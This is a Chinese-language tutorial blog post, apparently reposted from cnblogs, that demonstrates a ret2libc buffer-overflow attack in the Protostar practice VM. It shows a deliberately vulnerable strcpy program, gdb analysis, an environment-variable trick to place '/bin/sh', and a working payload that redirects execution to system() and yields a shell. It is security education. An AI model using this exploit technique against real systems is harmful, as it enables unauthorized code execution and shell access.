博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
实现ret2libc攻击
阅读量:6133 次
发布时间:2019-06-21

本文共 6092 字,大约阅读时间需要 20 分钟。

  在protostar的stack6练习中,提到了ret2libc,所以这里先对这种攻击手段做一个介绍,学习来源https://www.shellblade.net/docs/ret2libc.pdf,仍旧是在protostar的虚拟机上进行的实验。

背景

  在stack4的练习中,我们用程序中存在的win函数起始地址覆盖了main函数的返回地址。在实际的攻击中,攻击者往往会把自己的shellcode实现导入栈(本地缓冲变量或者环境变量)或堆中(动态分配变量),再将返回地址覆盖为shellcode的地址。为了应对这种攻击手段,出现了一种机制:W^X,限制了内存区域的操作权限为可写或者可执行,在这种情况下,攻击者无法使用自己的shellcode,ret2libc的攻击手法应运而生。

  在ret2libc中,攻击者不再使用自己的shellcode,而是把返回地址指向了C标准函数库中的system()函数(当然也可以指向其他函数,但是有system()这个强大的函数…),system()函数接受一个字符串参数,该参数指定要执行的程序的路径和名称,这样就可以实现任意程序的执行。

栈帧布局

  这个话题在stack4中已经进行过简单的讨论了,这里再做一次总结。

高地址 caller的本地变量
  callee的参数 
  callee的返回地址 
EBP caller的EBP 
ESP callee的本地变量 
低地址  

所以当我们在callee的栈帧中时,可以通过操作EBP获得参数和本地变量(当然也可以用ESP)。

Argument Offset Variable Offset
Argument 1 EBP + 8 Variable 1 EBP - 4 
Argument 2 EBP + 12 Variable 2 EBP - 8
Argument 3 EBP + 16 Variable 3 EBP - 12
Argument N EBP + 8 + 4*(N-1) Variable N EBP - 4N

实验

环境

$ cat /proc/versionLinux version 2.6.32-5-686 (Debian 2.6.32-38) (ben@decadent.org.uk) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Mon Oct 3 04:15:24 UTC 2011

存在bug的代码

1 #include 
2 #include
3 void bug(char *arg1) 4 { 5 char name[128]; 6 strcpy(name, arg1); 7 printf("Hello %s\n", name); 8 } 9 int main(int argc, char **argv)10 {11 if (argc < 2)12 {13 printf("Usage: %s
\n", argv[0]);14 return 0;15 }16 bug(argv[1]);17 return 0;18 }

  可以看到在bug函数中,直接使用strcpy将arg1的值赋给大小为128字节的name变量,这里会发生栈溢出。

步骤

1. 找到返回地址的位置

$ gcc -fno-stack-protector bug.c -o bug

  获得程序的可执行文件bug,接下来查看程序的反汇编结果,从而判断怎么组织payload。

1 $ gdb -q bug       2 Reading symbols from /home/user/bug...(no debugging symbols found)...done. 3 (gdb) disas bug 4 Dump of assembler code for function bug: 5 0x080483f4 
: push %ebp 6 0x080483f5
: mov %esp,%ebp 7 0x080483f7
: sub $0x98,%esp 8 0x080483fd
: mov 0x8(%ebp),%eax 9 0x08048400
: mov %eax,0x4(%esp)10 0x08048404
: lea -0x88(%ebp),%eax11 0x0804840a
: mov %eax,(%esp)12 0x0804840d
: call 0x8048320
13 0x08048412
: mov $0x8048530,%eax14 0x08048417
: lea -0x88(%ebp),%edx15 0x0804841d
: mov %edx,0x4(%esp)16 0x08048421
: mov %eax,(%esp)17 0x08048424
: call 0x8048330
18 0x08048429
: leave 19 0x0804842a
: ret 20 End of assembler dump.21 (gdb) q

  通过分析反汇编的代码,可以发现name变量位于$ebp-0x88的位置,看一下栈帧布局:

高地址 main的本地变量  
  bug的参数char *arg1 4字节
  bug的返回地址 4字节
EBP main的EBP 4字节
ESP bug的本地变量buffer 136字节
低地址    

  所以如果我们传入的参数长度为136+4+4=144字节,就可以覆盖bug函数的返回地址:

1 $ gdb -q bug      2 Reading symbols from /home/user/bug...(no debugging symbols found)...done3 (gdb) r `python -c "print 'A'*136+'B'*4+'C'*4"`4 Starting program: /home/user/bug `python -c "print 'A'*136+'B'*4+'C'*4"`5 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC6 7 Program received signal SIGSEGV, Segmentation fault.8 0x43434343 in ?? ()9 (gdb) q

  0x43434343正好是4个'C'的ascii值,说明我们的分析正确。

2. 传入system()函数的参数

  要调用system()函数,要提供对应的参数,这里我们使用"/bin/sh"作为参数,所以需要将字符串"/bin/sh"写入内存中。有两种方法:①在传入参数中包含该字符串;②将字符串存入环境变量中。使用第一种方法,字符串"/bin/sh"会保存到bug的栈帧中,由于后续我们会从bug函数返回再调用system()函数,可能会出现覆盖"/bin/sh"的情况,所以使用第二种方法更好。

  虽然将"/bin/sh"放入了内存中,它的起始地址又应该放在哪里呢?再次回到栈帧布局上:
① 假设从bug函数返回后进入了system()函数:

高地址 main的本地变量  
  bug的参数char *arg1  
EBP DUMMY EBP 原本是system的起始地址,执行了system中的push ebp
ESP system的本地变量  
低地址    

② 假设我们已经进入了system()函数的栈帧,同时希望它的参数是"/bin/sh":

高地址 main的本地变量
  system的参数"/bin/sh"
  system的返回地址
EBP DUMMY EBP
ESP system的本地变量
低地址  

③ 对比①②中的两个表,可以获得我们的payload

原值 payload
main的本地变量 "bin/sh"的起始地址
bug的参数char *arg1 system()的返回地址(exit()的起始地址)
bug的返回地址 system()的起始地址
main的EBP "B"*4
bug的本地变量 "A"*136

  这样我们就可以构造出一个完整的payload了。还有一个小的问题,system()函数的返回地址,这里我们使用exit()函数的起始地址,让程序正常退出。

3. 获得相关地址

  首先我们需要把"/bin/sh"写入环境变量,代码:

1 #include 
2 #include
3 #include
4 int main(int argc, char **argv) 5 { 6 char *ptr = getenv("EGG"); 7 if (ptr != NULL) 8 { 9 printf("Estimated address: %p\n", ptr);10 return 0;11 }12 printf("Setting up environment...\n");13 setenv("EGG", "/bin/sh", 1);14 execl("/bin/sh", (char *)NULL);15 }

  编译后执行两次,可获得字符串的一个估计地址:

1 $ ./setup 2 Setting up environent...3 $ ./setup4 Estimated address: 0xbfffffa9

  再获得system()和exit()的地址:

1 $ gdb -q bug 2 Reading symbols from /home/user/bug...(no debugging symbols found)...done. 3 (gdb) break main 4 Breakpoint 1 at 0x804842e 5 (gdb) r 6 Starting program: /home/user/bug  7  8 Breakpoint 1, 0x0804842e in main () 9 (gdb) p system10 $1 = {
} 0xb7ecffb0 <__libc_system>11 (gdb) p exit12 $2 = {
} 0xb7ec60c0 <*__GI_exit>

  最后确定"/bin/sh"的准确地址,这里0xbfffff89是试出来的:

1 (gdb) x/4s 0xbfffff892 0xbfffff89:      "ELL=/bin/sh"3 0xbfffff95:      "EGG=/bin/sh"4 0xbfffffa1:      "PWD=/home/user"5 0xbfffffb0:      "SSH_CONNECTION=192.168.60.1 57969 192.168.60.131 22"

  再加上"EGG="的偏移量,可以获得字符串的起始地址,所以:

1 0xb7ecffb0: system()2 0xb7ec60c0: exit()3 0xbfffff99: "/bin/sh"

4. 构造payload

Payload = "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x99\xff\xff\xbf"

注意这里的字节顺序,原因在之前的文章有提过,因为protostar虚拟机是little endian。

5. 攻击

  这里还有一个问题,环境变量在gdb和在外界的命令行中的位置还是有一些差异,看一下输出结果:

1 $ ./bug `python -c 'print "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x99\xff\xff\xbf"'`2 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB3 4                                         sh: n/sh: not found

  可以看到"n/sh"是"/bin/sh"的一部分,需要前移3个字节:

1 $ ./bug `python -c 'print "A"*136+"B"*4+"\xb0\xff\xec\xb7"+"\xc0\x60\xec\xb7"+"\x96\xff\xff\xbf"'`2 Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB3 4                                         $

  以上就实现了一次ret2libc攻击。需要注意的是,在这次攻击以及protostar中的练习都是直接将地址硬编码进行payload中,并没有考虑到ASLR的情况,protostar虚拟机已经关闭了ASLR,所以练习才可以顺利完成。

转载于:https://www.cnblogs.com/white-noise/p/8975626.html

你可能感兴趣的文章
【FJOI2015】金币换位问题
查看>>
数学之美系列二十 -- 自然语言处理的教父 马库斯
查看>>
Android实现自定义位置无标题Dialog
查看>>
面试总结
查看>>
Chrome浏览器播放HTML5音频没声音的解决方案
查看>>
easyui datagrid 行编辑功能
查看>>
类,对象与实例变量
查看>>
HDU 2818 (矢量并查集)
查看>>
【转】php字符串加密解密
查看>>
22. linux 常用命令
查看>>
ASP.Net 使用GridView模板删除一行的用法
查看>>
(十六)字段表集合
查看>>
JPGraph
查看>>
实验二 Java面向对象程序设计
查看>>
------__________________________9余数定理-__________ 1163______________
查看>>
webapp返回上一页 处理
查看>>
新安装的WAMP中phpmyadmin的密码问题
查看>>
20172303 2017-2018-2 《程序设计与数据结构》第5周学习总结
查看>>
eclipse中将一个项目作为library导入另一个项目中
查看>>
Go语言学习(五)----- 数组
查看>>